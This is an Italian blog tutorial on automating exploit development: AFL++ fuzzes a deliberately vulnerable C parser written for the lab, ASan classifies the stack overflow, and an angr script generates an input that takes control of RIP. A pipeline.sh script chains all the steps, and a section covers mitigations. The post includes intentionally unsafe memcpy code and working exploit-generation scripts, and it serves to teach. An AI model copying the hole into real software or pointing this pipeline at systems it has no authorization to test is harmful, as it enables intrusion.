2026-03-18 | Pinperepette

Il Fuzzer Scrive L'Exploit

Da sorgente C a controllo di RIP, senza intervento umano. AFL++, AddressSanitizer, angr. La pipeline che trasforma un crash in un exploit.

AFL++ ASan angr Exploit Dev

// Il Gap

Sezione 00. L'artigiano e la macchina

C'e' un mito nella security che resiste da trent'anni: trovare un bug e' scienza, scrivere un exploit e' arte. Il ricercatore trova il crash, poi si siede davanti a GDB, guarda i registri, conta i byte, calcola l'offset, costruisce il payload a mano, un byte alla volta. E' un lavoro artigianale. Bello da vedere, lento da fare.

Ho guardato un collega farlo per due giorni su un heap overflow in una libreria di parsing. Due giorni. GDB, Python, tentativi, bestemmie, caffe'. Alla fine ha scritto l'exploit. Funzionava. Era elegante. Era anche inutile.

Inutile perche' la stessa pipeline, automatizzata, ci mette minuti. Non due giorni. Minuti.

Il gap tra "ho trovato un crash" e "ho il controllo del flusso" si e' chiuso. Non perche' scrivere exploit sia diventato facile. Perche' il toolchain non scrive exploit: riduce lo spazio di ricerca finche' l'exploit diventa inevitabile.

La pipeline e' questa:

01
AFL++
Trova il crash
02
ASan
Classifica il bug
03
GDB
Verifica l'impatto
04
angr
Scrive il payload

Oggi la costruiamo da zero. Su un target realistico, con codice che somiglia a quello che gira in produzione ovunque. Un parser binario in C con un bug che il 90% dei code reviewer non vedrebbe.

Disclaimer. Questo e' un laboratorio educativo. Il target e' un programma scritto da noi, fuzzato in locale, su una VM. Non fare fuzzing su software di terzi senza autorizzazione. Non usare queste tecniche per attaccare sistemi che non sono tuoi. Il fuzzing produce centinaia di file: fallo in un ambiente isolato.

0
Nel laboratorio
0
Nella pipeline
0
Offset calcolati a mano
0
Per l'intera pipeline

// Il Target

Sezione 01. Il parser che tutti scrivono

Il target e' un parser di un formato binario custom: header con magic number, versione, numero di tag. Ogni tag ha un tipo (1 byte), una lunghezza (2 byte) e i dati. Tag-Length-Value. Lo stesso pattern che trovi in TIFF, PNG, TLS, PDF, ELF, DICOM, e in qualsiasi protocollo binario mai scritto.

Il codice e' pulito. Fa i controlli giusti. Verifica il magic. Limita il numero di tag. Controlla che ogni tag stia dentro il file. E poi fa una cosa che il 99% dei parser C fanno: copia i dati in un buffer locale senza verificare che la lunghezza stia dentro il buffer.

1#define BUF_SIZE 128
2
3void process_tag(const uint8_t *tag_data, uint16_t tag_len) {
4 char buf[BUF_SIZE];
5
6 /* BUG: tag_len puo' essere > BUF_SIZE.
7 * Il chiamante verifica solo che tag_len
8 * non sfori il file, non che stia dentro buf. */
9 memcpy(buf, tag_data, tag_len);
10 buf[tag_len] = '\0';
11
12 printf(" data: %s\n", buf);
13}

Riga 9. memcpy(buf, tag_data, tag_len). Il buffer e' 128 byte. tag_len e' un uint16_t, puo' arrivare a 65535. Il chiamante ha gia' verificato che tag_len byte esistano nel file. Ma nessuno ha verificato che stiano nel buffer.

Questo e' il bug piu' comune nella storia del software C. Non e' inventato. E' lo stesso pattern di CVE-2015-8668 (libtiff), CVE-2017-9233 (libexpat), CVE-2019-13118 (libxslt). Cambia la libreria, il bug e' identico.

Perche' un parser custom e non una libreria reale? Perche' il lab deve essere riproducibile al 100%. Su una libreria reale, il bug dipende dalla versione, dalla patch, dalla configurazione. Qui il bug e' garantito, il formato e' semplice, e la pipeline funziona end-to-end in pochi minuti. Il pattern e' lo stesso: se funziona qui, funziona su libtiff.

Il formato completo:

1/* File format: TAG\0 */
2
3file_header_t {
4 uint32_t magic; /* 0x54414700 = "TAG\0" */
5 uint16_t version; /* 1 */
6 uint16_t num_tags; /* max 16 */
7} /* 8 byte */
8
9tag_header_t {
10 uint8_t type; /* tipo del tag */
11 uint16_t length; /* lunghezza dati */
12} /* 3 byte */
13
14/* [header][tag0_hdr][tag0_data][tag1_hdr][tag1_data]... */

// Il Corpus e il Fuzzer

Sezione 02. Coverage-guided fuzzing

AFL++ non genera input a caso. E' un fuzzer coverage-guided: muta l'input, esegue il programma, e tiene traccia di quali branch del codice sono stati raggiunti. Se una mutazione esplora un path nuovo, quell'input viene salvato nel corpus. Se no, viene scartato. E' evoluzione darwiniana applicata ai byte.

Per funzionare bene, AFL++ ha bisogno di due cose: un seed corpus (input validi da cui partire) e un harness (come dare l'input al programma). Il nostro programma legge da file, quindi il harness e' il programma stesso. Per il corpus, generiamo seed validi con un generatore Python.

1# seed_gen.py - genera seed validi per il corpus
2
3def make_seed(tags, version=1):
4 body = b''
5 for tag_type, tag_data in tags:
6 body += struct.pack('<BH', tag_type, len(tag_data)) + tag_data
7 header = struct.pack('<IHH', MAGIC, version, len(tags))
8 return header + body

I seed coprono i casi base: un tag, due tag, tag con dati lunghi (ma dentro il buffer), tag con dati vuoti. AFL++ partira' da questi e mutera': flippera' bit, inserira' byte, cambiera' i campi length. Prima o poi, uno di questi mutanti avra' un tag_len > 128. E il programma crashera'.

Come funziona la coverage. AFL++ compila il target con afl-clang-fast, che inserisce instrumentazione a ogni branch. Durante l'esecuzione, ogni transizione A→B viene registrata in una bitmap da 64 KB. Due esecuzioni con bitmap diversa hanno coperto path diversi. Questa bitmap e' l'unico feedback che il fuzzer riceve: non sa cosa fa il programma, sa solo dove e' passato.

Compilazione e lancio:

$ afl-clang-fast -o tagparser_fuzz target.c -fno-stack-protector -no-pie afl-cc ++4.09a by Michal Zalewski, Laszlo Szekeres, Marc Heuse [+] Instrumented 14 locations (non-hardened mode) $ python3 seed_gen.py corpus/ corpus/seed_minimal.tag (16 bytes) corpus/seed_two_tags.tag (22 bytes) corpus/seed_long.tag (111 bytes) corpus/seed_multi.tag (163 bytes) corpus/seed_empty_data.tag (11 bytes) $ afl-fuzz -i corpus -o findings -m none -- ./tagparser_fuzz @@

// Il Primo Crash

Sezione 03. AFL++ trova il bug

AFL++ parte. La dashboard si aggiorna. total paths, exec speed, stability. I primi secondi sono la fase deterministica: bit flip, byte flip, arithmetic, interest values. Poi passa alla fase havoc: mutazioni casuali aggressive.

Il contatore saved crashes e' a zero. Per ora.

AFL++ dashboard con statistiche di fuzzing

Non ci vuole molto. Il fuzzer deve solo fare una cosa: generare un file dove il campo length di un tag e' maggiore di 128. Con mutazioni aritmetiche su un campo a 2 byte, ci arriva in pochi minuti. A volte in secondi.

saved crashes: 1

AFL++ con primo crash trovato

Il crash e' in findings/default/crashes/. E' un file binario di pochi byte. Guardiamolo:

$ xxd findings/default/crashes/id:000000,sig:11,* | head 00000000: 0047 4154 0100 0100 07 0001 4141 4141 .GAT........AAAA 00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA ...

Eccolo. Il campo length del tag dice 256 byte. Il buffer ne tiene 128. Il memcpy scrive 128 byte oltre la fine del buffer. Il programma crasha con SIGSEGV.

Ma un crash non e' un exploit. Un crash e' solo rumore. Dobbiamo capire cosa e' successo.

Prima di procedere, minimizziamo l'input:

$ afl-tmin -i findings/default/crashes/id:000000,sig:11,* -o crash_min.tag -- ./tagparser_fuzz @@ [+] File size reduced to 155 bytes (was 287) [+] Writing output to 'crash_min.tag'

afl-tmin rimuove ogni byte che non contribuisce al crash. Il risultato e' l'input minimo che trigghera il bug. Piu' piccolo e' l'input, piu' facile e' analizzarlo.

// ASan Parla

Sezione 04. Il bug ha un nome

AddressSanitizer e' un compilatore di diagnosi. Inserisce check a ogni accesso in memoria: heap, stack, globali. Quando qualcosa va fuori dai limiti, non crasha con un generico SIGSEGV. Ti dice esattamente cosa, dove, e quanto.

Ricompiliamo con ASan:

$ clang -fsanitize=address -fno-omit-frame-pointer -g -o tagparser_asan target.c $ ./tagparser_asan crash_min.tag

L'output e' una sentenza:

==3758568==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x77a5257000a0 WRITE of size 256 at 0x77a5257000a0 thread T0 #0 __asan_memcpy #1 process_tag target.c:40:5 #2 parse target.c:72:9 #3 main target.c:99:15 Address 0x77a5257000a0 is located in stack of thread T0 at offset 160 in frame #0 process_tag target.c:34 This frame has 1 object(s): [32, 160) 'buf' (line 35) <== Memory access at offset 160 overflows this variable
ASan output con stack trace e diagnosi del buffer overflow

Senza leggere una riga di disassembly, sappiamo tutto:

Proprieta'Valore
Tipostack-buffer-overflow
OperazioneWRITE di 256 byte
Funzioneprocess_tag(), riga 40
Variabilebuf, dichiarata a riga 35
Buffer128 byte (offset 32-160 nello stack frame)
Overflow128 byte oltre la fine

ASan non ti dice se il bug e' exploitable. Ti dice cosa e' successo. Il passo dopo e' capire se quel "cosa" controlla qualcosa di interessante.

Perche' -fno-stack-protector? In un sistema reale, il compilatore inserisce un stack canary tra il buffer e il return address. Se l'overflow lo corrompe, il programma abortisce prima di tornare dalla funzione. Nel lab lo disabilitiamo per mostrare la pipeline completa. Nella sezione difese vedremo come cambia tutto.

// Exploitable?

Sezione 05. Dal crash al controllo

Un buffer overflow sullo stack sovrascrive tutto quello che sta dopo il buffer: variabili locali, il frame pointer salvato, e il return address. Quando la funzione fa ret, il processore legge l'indirizzo di ritorno dallo stack e ci salta. Se l'hai sovrascritto, il processore salta dove dici tu.

Compiliamo senza protezioni e verifichiamo con GDB:

$ clang -o tagparser_vuln target.c -fno-stack-protector -no-pie -g $ gdb -q ./tagparser_vuln -ex "run $CRASH" -ex "info registers rip rbp rsp" -ex "quit" Program received signal SIGSEGV, Segmentation fault. 0x0000000000401235 in process_tag ( tag_data=<error reading variable: Cannot access memory at address 0x414141415d41fff7> tag_len=<error reading variable: Cannot access memory at address 0x414141415d41fff5>) rip 0x401235 0x401235 <process_tag+85> rbp 0x414141415d41ffff 0x414141415d41ffff rsp 0x7fffffffdbc8 0x7fffffffdbc8
GDB con RIP sovrascritto da 0x414141414141

rbp = 0x414141415d41ffff. Il frame pointer e' stato sovrascritto con i nostri byte (0x41 = 'A'). Il crash avviene dentro process_tag perche' la funzione prova ad accedere ai parametri attraverso il frame corrotto. Ma il punto e' un altro: se l'overflow corrompe rbp, corrompe anche il return address che sta subito dopo.

Quando process_tag fara' ret, il processore leggera' un indirizzo che abbiamo scritto noi. Se possiamo scriverci 0x41414141, possiamo scriverci qualsiasi indirizzo. E se possiamo scegliere dove salta il processore, possiamo eseguire codice arbitrario.

Ora la domanda diventa: a quale offset esatto, dentro l'input, si trova il return address? Potremmo calcolarlo a mano. Oppure possiamo lasciare che lo faccia la macchina.

// angr Trova la Via

Sezione 06. Symbolic execution

angr e' un framework di analisi binaria. Fa molte cose, ma quella che ci interessa e' una: symbolic execution. Invece di eseguire il programma con dati concreti, lo esegue con dati simbolici, variabili matematiche. Ogni branch diventa un vincolo. Alla fine, un SAT solver trova i valori concreti che soddisfano i vincoli.

Tradotto: gli diamo il binario, gli diciamo "l'input e' simbolico", e gli chiediamo "trovami un input che rende RIP uguale a 0x41414141".

Lo script:

1proj = angr.Project('./tagparser_vuln', auto_load_libs=False)
2
3# 512 byte simbolici: ogni bit e' un'incognita
4sym_input = claripy.BVS('input', 512 * 8)
5
6# Stato iniziale con file simbolico
7state = proj.factory.full_init_state(
8 args=['./tagparser_vuln', '/tmp/angr_input']
9)
10simfile = angr.SimFile('/tmp/angr_input', content=sym_input)
11state.fs.insert('/tmp/angr_input', simfile)
12
13# Cerca stati dove RIP e' simbolico (controllato dall'input)
14simgr = proj.factory.simulation_manager(state, save_unconstrained=True)
15
16while simgr.active and not simgr.unconstrained:
17 simgr.step()
18
19# RIP e' simbolico: vincola al valore target
20found = simgr.unconstrained[0]
21found.solver.add(found.regs.rip == 0x41414141)
22
23# Estrai il payload concreto
24payload = found.solver.eval(sym_input, cast_to=bytes)

Cosa succede dentro:

1. angr carica il binario e crea uno stato iniziale con un file di 512 byte simbolici. Ogni byte dell'input e' una variabile con 256 valori possibili.

2. Il simulation manager esegue il programma simbolicamente. Ogni if nel codice crea un fork: uno stato dove la condizione e' vera, uno dove e' falsa. I vincoli si accumulano.

3. Quando process_tag fa ret, il valore di RIP viene letto dallo stack. Se lo stack e' stato sovrascritto con dati simbolici, RIP diventa simbolico. Lo stato finisce nella stash unconstrained.

4. Aggiungiamo un vincolo: RIP deve valere 0x41414141. Il solver Z3 risolve il sistema e produce un input concreto di 512 byte dove i byte all'offset giusto contengono esattamente \x41\x41\x41\x41. angr non e' intelligente. E' esaustivo. Non capisce il bug. Esplora tutte le strade finche' una funziona.

L'output:

$ python3 angr_solve.py [*] Loading ./tagparser_vuln... [*] Exploring... step 50: 1 active, 0 unconstrained [+] RIP e' simbolico dopo 52 step! [+] Payload scritto: exploit.tag (512 bytes) [+] Target RIP: 0x41414141 [+] RIP offset: 163 bytes [+] Verifica: gdb -q ./tagparser_vuln -ex "run exploit.tag"
angr che trova il RIP simbolico e genera il payload

163 byte dall'inizio del tag data al return address. angr l'ha calcolato da solo, senza che noi sapessimo nulla del layout dello stack. Verifichiamo:

$ gdb -q ./tagparser_vuln -ex "run exploit.tag" -ex "info registers rip" Program received signal SIGSEGV, Segmentation fault. 0x0000000041414141 in ?? () rip 0x41414141 0x41414141

RIP = 0x41414141. Esattamente il valore che abbiamo chiesto. La macchina ha scritto il payload che controlla il flusso.

Realta' moderna. Questo lab dimostra il controllo del flusso. In un sistema reale, arrivare all'esecuzione richiede bypass di ASLR, NX e spesso ROP. Il controllo di RIP e' il primo passo, non l'ultimo.

Nota: angr funziona anche senza Unicorn Engine (il warning failed loading unicornlib.so e' normale); sara' solo piu' lento.

// La Pipeline

Sezione 07. Uno script

Ogni passo che abbiamo fatto (compilare, generare seed, fuzzare, triagare, risolvere) e' uno script. pipeline.sh li concatena:

1#!/bin/bash
2# pipeline.sh - Da sorgente a exploit.
3
4# 1. Compila il target (senza protezioni)
5clang -o tagparser_vuln target.c -fno-stack-protector -no-pie -g
6
7# 2. Compila per AFL++
8afl-clang-fast -o tagparser_fuzz target.c -fno-stack-protector -no-pie
9
10# 3. Genera seed
11python3 seed_gen.py corpus/
12
13# 4. Fuzz (2 minuti)
14timeout 120 afl-fuzz -i corpus -o findings -- ./tagparser_fuzz @@
15
16# 5. Triage con ASan
17clang -fsanitize=address -g -o tagparser_asan target.c
18./tagparser_asan findings/default/crashes/id:000000* 2>&1
19
20# 6. angr: genera l'exploit
21python3 angr_solve.py

Un comando. ./pipeline.sh. Sorgente in ingresso, payload in uscita. Zero GDB. Zero offset calcolati a mano. Zero reverse engineering manuale. La pipeline trova il bug, lo classifica, verifica che sia exploitable, e genera l'input che controlla RIP.

Il tempo? Minuti, non giorni. Il collega ci ha messo due giorni.

// Le Difese Rompono la Pipeline

Sezione 08. Ogni mitigazione rompe un passo

La pipeline funziona perche' abbiamo compilato senza protezioni. Nel mondo reale, il compilatore e il sistema operativo mettono ostacoli a ogni passo. Vediamo dove.

DifesaCosa faCosa rompe
Stack Canary Valore random tra buffer e return address. Se corrotto, abort() L'overflow sovrascrive il canary prima di RIP. Il programma muore prima del ret. Non arrivi mai a controllare RIP
ASLR Randomizza indirizzi di stack, heap, librerie a ogni esecuzione Anche se controlli RIP, non sai dove saltare. L'indirizzo della libc e' diverso ogni volta
NX / W^X Lo stack non e' eseguibile. Puoi scriverci dati, non puoi eseguirli Non puoi mettere shellcode sullo stack e saltarci. Devi usare codice gia' presente (ROP)
CFI Control Flow Integrity. Ogni branch indiretto viene validato contro un set di target legittimi Anche con ROP, i gadget devono rispettare il grafo di controllo. Attacchi arbitrari diventano impossibili
Safe language Rust, Go, Java. Bounds checking a ogni accesso Il bug non esiste. memcpy con lunghezza sbagliata e' un errore di compilazione o un panic a runtime

Ogni difesa rompe un passo specifico della pipeline. Ma le mitigazioni non rompono la pipeline. La spezzano in piu' passi.

Stack canary? Il fuzzer puo' cercare bug che non passano dal canary: heap overflow, use-after-free, type confusion. ASan li classifica tutti.

ASLR? Se trovi un information leak (il programma rivela un indirizzo), puoi calcolare la base. angr puo' modellare anche quello.

NX? Return-Oriented Programming. Invece di eseguire shellcode, concateni frammenti di codice gia' presente (gadget). angr supporta la generazione automatica di ROP chain.

CFI? E' la difesa piu' forte. Limita severamente cosa puo' fare un attaccante anche con pieno controllo dello stack. Ma le implementazioni reali hanno gap: forward-edge CFI senza backward-edge, granularita' troppo larga, gadget conformi al grafo.

Il punto. Le difese non rendono gli exploit impossibili. Alzano il costo. Un bug che nel 2005 era exploitable in 10 minuti con uno script, nel 2026 richiede una catena di 3-4 vulnerabilita'. La pipeline deve diventare piu' sofisticata, ma il principio resta: prima cercavi il bug, poi cercavi come sfruttarlo. Oggi costruisci una pipeline. E lasci che sia lei a trovare entrambi.

// Gli Script

Sezione 09. Il laboratorio

Prerequisiti. Ubuntu 22.04+ (o qualsiasi Linux con apt). Servono: clang, afl++, gdb, python3, angr (pip). Lo script setup_lab.sh installa tutto.

01
target.c
Parser vulnerabile
02
seed_gen.py
Genera corpus
03
fuzz.sh
AFL++ fuzzing
04
triage.sh
ASan analysis
05
angr_solve.py
Symbolic exploit
06
pipeline.sh
Full automation
07
setup_lab.sh
Install deps

Gli script del lab. target.c: il parser vulnerabile. seed_gen.py: generatore di seed. fuzz.sh: compila e fuzza. triage.sh: analisi crash con ASan. angr_solve.py: symbolic execution per RIP control. pipeline.sh: l'intera pipeline in un comando. setup_lab.sh: installa i prerequisiti. Tutto nella cartella scripts/il-fuzzer-scrive-l-exploit su GitHub.

"Non trovi il bug.
Il toolchain riduce lo spazio finche' l'exploit diventa inevitabile."

AFL++ non sa cosa sta rompendo. Sa solo dove non e' ancora passato. E continua finche' qualcosa cede. ASan non capisce il bug. Lo misura. angr non e' intelligente. E' esaustivo. L'umano decide cosa fuzzare e cosa farsene del risultato. Il resto e' automazione. Non e' che l'exploit sia diventato facile. E' che l'umano e' diventato il collo di bottiglia.

Signal Pirate